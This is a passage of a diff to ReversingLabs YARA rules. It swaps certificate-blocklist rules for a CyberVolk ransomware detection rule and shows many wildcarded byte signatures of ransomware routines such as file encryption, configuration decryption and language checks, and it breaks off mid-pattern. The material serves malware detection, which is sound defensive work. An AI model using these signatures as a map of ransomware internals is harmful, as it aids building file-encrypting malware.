?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? + 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D3 83 F8 ?? 75 + ?? 8B CF E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B + } + $encrypt_files_v1_3 = { + CF E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 FE ?? 7D ?? 46 EB ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 + FB ?? 75 ?? 8B 1D ?? ?? ?? ?? EB ?? FF 35 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 53 FF + 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B + E5 5D C3 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? FF 75 ?? FF 15 + ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 45 ?? 8B 75 ?? 89 43 ?? 8D 43 ?? 50 56 C7 + 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ?? + ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 8B 4B ?? 8B 43 ?? 85 + C9 7F ?? 7C ?? 83 F8 ?? 72 ?? 83 E8 ?? C7 43 ?? ?? ?? ?? ?? 89 43 ?? 8B 43 ?? 83 D9 + ?? 89 43 ?? 8B 43 ?? 89 43 ?? 8D 83 ?? ?? ?? ?? 6A ?? 50 89 4B ?? C7 43 ?? ?? ?? ?? + ?? 89 73 ?? E8 ?? ?? ?? ?? 6A ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 6A ?? 6A ?? + 8D 73 ?? 56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? + ?? ?? ?? 74 ?? 56 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 FF D6 83 C4 ?? FF 75 ?? FF 15 + ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 F0 FF 05 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? + B8 ?? ?? ?? ?? F0 0F C1 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7E ?? 8B 35 ?? ?? ?? ?? 6A + ?? FF D6 83 3D ?? ?? ?? ?? ?? 7D ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 + } + $check_blacklisted_languages_v2 = { + FF D0 0F B7 C0 B9 2C 08 ?? ?? 66 3B C1 0F 84 ?? ?? ?? ?? B9 2C 04 ?? ?? 66 3B C1 74 + ?? B9 2B 04 ?? ?? 66 3B C1 74 ?? B9 23 04 ?? ?? 66 3B C1 74 ?? B9 37 04 ?? ?? 66 3B + C1 74 ?? B9 3F 04 ?? ?? 66 3B C1 74 ?? B9 40 04 ?? ?? 66 3B C1 74 ?? B9 19 08 ?? ?? + 66 3B C1 74 ?? B9 19 04 ?? ?? 66 3B C1 74 ?? B9 28 04 ?? ?? 66 3B C1 74 ?? B9 42 04 + ?? ?? 66 3B C1 74 ?? B9 43 08 ?? ?? 66 3B C1 74 ?? B9 43 04 ?? ?? 66 3B C1 74 ?? B9 + 22 04 ?? ?? 66 3B C1 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 85 ?? ?? ?? ?? 64 + A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B C8 89 45 ?? 8B D0 89 4D ?? 0F B7 59 ?? 33 + FF 8B 71 ?? D1 EB C7 45 ?? ?? ?? ?? ?? 8D 04 5E 3B F0 0F 47 DF 85 DB 74 ?? 8A 0E 8D + 76 ?? 0F BE D1 80 E9 ?? 8B C2 83 C8 ?? 80 F9 ?? 0F 47 C2 47 33 45 ?? 69 C0 ?? ?? ?? + ?? 89 45 ?? 3B FB 75 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 01 8B + C8 89 4D ?? 3B C2 74 ?? 83 79 ?? ?? 75 ?? 33 DB 89 1D ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 43 ?? 8B 4C 18 ?? 8D 04 19 89 45 ?? + 3B C3 74 ?? 33 C9 89 4D ?? 39 48 ?? 74 ?? 8B 40 ?? 8B 55 ?? 03 C3 89 45 ?? 0F 1F 40 + ?? 8B 30 BF ?? ?? ?? ?? 8A 04 1E 03 F3 46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA + 83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF 69 F9 ?? ?? ?? ?? 84 C0 75 ?? 8B 4D ?? 8B 55 + ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 41 83 C0 ?? 89 4D ?? 89 45 ?? 3B 4A + ?? 75 ?? 33 C0 A3 ?? ?? ?? ?? 6A ?? FF D0 5F 5E 5B 8B E5 5D C3 + } + $create_net_host_trav_threads_v2 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 50 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? + ?? ?? ?? E8 ?? ?? ?? ?? FF D0 85 C0 78 ?? A1 ?? ?? ?? ?? 8D 0C 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 35 + } + $fnv1a_hashing_v2 = { + 55 8B EC 83 EC ?? 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 50 ?? A1 ?? ?? ?? ?? + 89 55 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 75 ?? 33 C0 A3 ?? ?? ?? ?? 8B E5 5D C3 8B 42 + ?? 8B 4C 10 ?? 8B 44 10 ?? 89 45 ?? 8D 04 11 89 45 ?? 3B C2 74 ?? 53 33 C9 56 57 89 + 4D ?? 39 48 ?? 74 ?? 8B 78 ?? 03 FA 8B 07 BE + } + $decrypt_configuration_v2_1 = { + 55 8B EC 51 53 56 57 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C9 83 EA ?? 75 ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? BA 25 1B 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? BA 78 0C 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + BA 39 28 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA F1 40 + 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA BF 11 00 00 B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 28 02 00 00 B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 3B 07 00 00 B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA A5 04 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? BA 0F 03 00 00 B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 C9 BE ?? ?? ?? ?? 85 FF 74 ?? 8B 15 ?? + ?? ?? ?? 0F 1F 44 00 ?? 80 3C 0A ?? 8D 46 ?? 0F 45 C6 41 8B F0 3B CF 72 ?? 8D 0C B5 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 89 1D ?? ?? ?? ?? 85 DB 74 ?? 33 FF 85 F6 74 ?? 90 + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 04 BB 47 3B FE 72 ?? 8B 0D ?? ?? + ?? ?? 33 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 0F 1F 80 ?? ?? ?? ?? 8B 14 B3 8A 08 8D 40 ?? + 88 0A 8D 52 ?? 84 C9 75 ?? 33 C9 E8 ?? ?? ?? ?? 46 85 C0 75 ?? C7 04 B3 ?? ?? ?? ?? + 5F 5E 5B 8B E5 5D C3 + } + $decrypt_configuration_v2_2 = { + 55 8B EC 51 53 56 57 8B F2 8B F9 6B CE ?? E8 ?? ?? ?? ?? 8B C8 33 C0 89 4D ?? 85 C9 + 0F 84 ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 72 ?? 0F 28 0D ?? ?? ?? ?? 8B CE 83 E1 ?? 66 + 0F 1F 84 00 ?? ?? ?? ?? 0F 10 04 07 66 0F EF C1 0F 11 04 07 0F 10 44 07 ?? 66 0F EF + C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF + C1 0F 11 44 07 ?? 83 C0 ?? 3B C1 72 ?? 8B 4D ?? 3B C6 73 ?? 80 34 38 5F 40 3B C6 72 + ?? 8B 5D ?? 8B D6 51 53 51 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 0B E8 ?? ?? + ?? ?? 8B F8 8B 45 ?? 89 38 8B 45 ?? 85 FF 74 ?? 8B 0B 8B F0 F3 A4 8B C8 BE ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B C6 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files_v2_p1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 56 57 66 90 64 A1 ?? ?? ?? ?? 0F 57 C0 C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 0F 13 44 24 ?? 8B 40 ?? 8B 40 ?? 8B 00 8B + 50 ?? A1 ?? ?? ?? ?? 89 54 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B + 42 ?? 8B 4C 10 ?? 8D 04 11 89 44 24 ?? 3B C2 74 ?? 33 C9 89 4C 24 ?? 39 48 ?? 74 ?? + 8B 40 ?? 03 C2 89 44 24 ?? 0F 1F 80 ?? ?? ?? ?? 8B 30 BF C5 9D 1C 81 8A 04 16 03 F2 + 46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA 83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF + 69 F9 93 01 00 01 84 C0 75 ?? 8B 54 24 ?? 8B 4C 24 ?? 81 FF ?? ?? ?? ?? 74 ?? 8B 74 + 24 ?? 41 8B 44 24 ?? 83 C0 ?? 89 4C 24 ?? 89 44 24 ?? 3B 4E ?? 75 ?? 33 C0 A3 ?? ?? + ?? ?? 6A ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF D0 85 + C0 0F 88 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? 8B 07 48 83 F8 + ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 74 24 ?? 8B 46 ?? 8D 04 48 0F B7 0C 10 + 8B 46 ?? 8D 04 88 8B 04 10 03 C2 EB ?? 83 7F ?? ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 0F + 85 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ?? 68 ?? ?? ?? ?? 6A ?? 8B 41 + ?? 89 42 ?? 8B 41 ?? 89 42 ?? 8B 44 24 ?? 6A ?? 8B 40 ?? 8D 88 ?? ?? ?? ?? F7 D8 23 + C8 8B 44 24 ?? 89 48 ?? 8D 4C 24 ?? 8B 54 24 ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? FF 76 ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B 4E + ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 81 C1 ?? ?? ?? ?? 03 C1 50 E8 ?? ?? ?? ?? + 8B 4C 24 ?? 83 C4 ?? 8B 74 24 ?? 89 74 24 ?? 6A ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF + } + $encrypt_files_v2_p2 = { + 71 ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8 + ?? F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? + 33 FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47 + 8B 40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B C1 + F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44 24 + ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ?? ?? + ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ?? ?? + 6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF E8 + ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ?? ?? + 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 0F 84 + ?? ?? ?? ?? 8D 7E ?? 90 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44 + 24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 8D 56 ?? 74 ?? 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8B 57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B + C1 6A ?? EB ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8D 8C 24 ?? ?? ?? ?? 8B + 57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 83 7A ?? ?? 8B 42 ?? 0F 8F ?? + ?? ?? ?? 7C ?? 39 42 ?? 0F 87 ?? ?? ?? ?? 8B 74 24 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4E + } + $encrypt_files_v2_p3 = { + 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 81 C1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 03 C1 50 + E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? C7 00 ?? ?? ?? ?? EB ?? 8B 44 24 ?? C7 00 ?? ?? + ?? ?? 8B 4C 24 ?? 8B 74 24 ?? 6A ?? 89 74 24 ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF 71 + ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8 ?? + F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? 33 + FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47 8B + 40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 46 ?? 0F 85 ?? + ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 + C9 0F 84 ?? ?? ?? ?? 8D 7E ?? 66 0F 1F 44 00 ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D + 7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B + C1 F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44 + 24 ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ?? + ?? ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ?? + ?? 6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF + E8 ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ?? + ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 74 + ?? 8D 7E ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1 + 72 ?? 85 C9 74 ?? F0 FF 05 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ?? 8B 46 ?? 85 C0 74 ?? 50 + E8 ?? ?? ?? ?? FF D0 8D 46 ?? 50 E8 ?? ?? ?? ?? FF D0 8B CE E8 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 5F 33 C0 5E 8B E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABADAN PIZZA LTD" and pe.signatures [ i ] . serial == "5a:59:a6:86:b4:a9:04:d0:fc:a0:71:53:ea:6d:b6:cc" and 1563403380 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $enum_resources_v1 ) and ( all of ( $find_files_v1_* ) ) and ( all of ( $encrypt_files_v1_* ) ) ) or ( ( $check_blacklisted_languages_v2 ) and ( $fnv1a_hashing_v2 ) and ( $create_net_host_trav_threads_v2 ) and ( all of ( $decrypt_configuration_v2_* ) ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0B6D8152F4A06Ba781C6677Eea5Ab74B : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cybervolk : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CyberVolk ransomware." author = "ReversingLabs" - id = "dacac5fe-00dc-5080-a725-9ef69473c45e" - date = "2020-08-05" - modified = "2023-11-08" + id = "4d8bf096-d5c9-5a77-99e6-2c66e480da36" + date = "2024-11-27" + modified = "2024-11-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3324-L3340" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CyberVolk.yara#L1-L293" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bd20cf8e4cab2117361dbe05ae2efe813e7f55667b1f3825cd893313d98dcb5f" + logic_hash = "59ed7c4f576fa7cd4cceb724d14f258598c140e434ed309fe2e599c3aaa667d9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "CyberVolk" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GLARYSOFT LTD" and pe.signatures [ i ] . serial == "0b:6d:81:52:f4:a0:6b:a7:81:c6:67:7e:ea:5a:b7:4b" and 1568246400 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_3Ad60Cea73E1Dd1A3E6C02D9B339C380 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "80b39632-29a7-5932-a47b-736a9e8ed686" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3342-L3358" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fb83cf25be19e7cccd2c8369c3a37a90af72cb2f76db3619b8311d2a851335a8" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $manage_gui_p1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 57 50 + 6A ?? 6A ?? 6A ?? 6A ?? FF D6 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? 83 F8 ?? 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? FF + D6 6A ?? 8B F8 FF D6 8B 75 ?? 99 2B C2 6A ?? D1 F8 68 ?? ?? ?? ?? 2D ?? ?? ?? ?? 68 + ?? ?? ?? ?? 50 8B C7 99 2B C2 D1 F8 2D ?? ?? ?? ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 6A + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? + 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B + F0 83 C4 ?? BF ?? ?? ?? ?? 85 F6 74 ?? 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 56 E8 ?? + ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 4F 50 FF 75 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B F8 57 + 89 7C 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B 35 ?? ?? ?? ?? 50 89 44 24 ?? FF D6 89 + 44 24 ?? 8D 44 24 ?? 50 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? FF 74 24 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? + 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? + ?? ?? ?? 50 57 FF D6 8B 74 24 ?? B8 ?? ?? ?? ?? F7 EE B8 ?? ?? ?? ?? 03 D6 C1 FA ?? + 8B FA C1 EF ?? 03 FA F7 EE 03 D6 C1 FA ?? 8B CA C1 E9 ?? 03 CA 8B D1 C1 E2 ?? 2B D1 + } + $manage_gui_p2 = { + C1 E2 ?? 8B CE B8 ?? ?? ?? ?? 2B CA 51 69 CF ?? ?? ?? ?? 2B F1 F7 EE 03 D6 C1 FA ?? + 8B C2 C1 E8 ?? 03 C2 50 57 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8D 44 24 ?? 6A ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? + ?? FF 74 24 ?? 8B 74 24 ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 + FF 75 ?? FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B + F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? 8D 84 24 ?? ?? ?? ?? 57 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 83 C4 ?? 8D 51 ?? 0F 1F 40 ?? 8A 01 41 84 + C0 75 ?? 56 2B CA 8D 84 24 ?? ?? ?? ?? 51 6A ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 75 + ?? FF D7 8B 35 ?? ?? ?? ?? 50 FF D6 8B 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 FF D7 50 FF D6 + 8B 75 ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 + ?? 50 56 FF 15 ?? ?? ?? ?? 50 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B 3D ?? ?? + ?? ?? 50 89 44 24 ?? FF D7 8B F0 8D 44 24 ?? 50 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 74 24 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF + 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 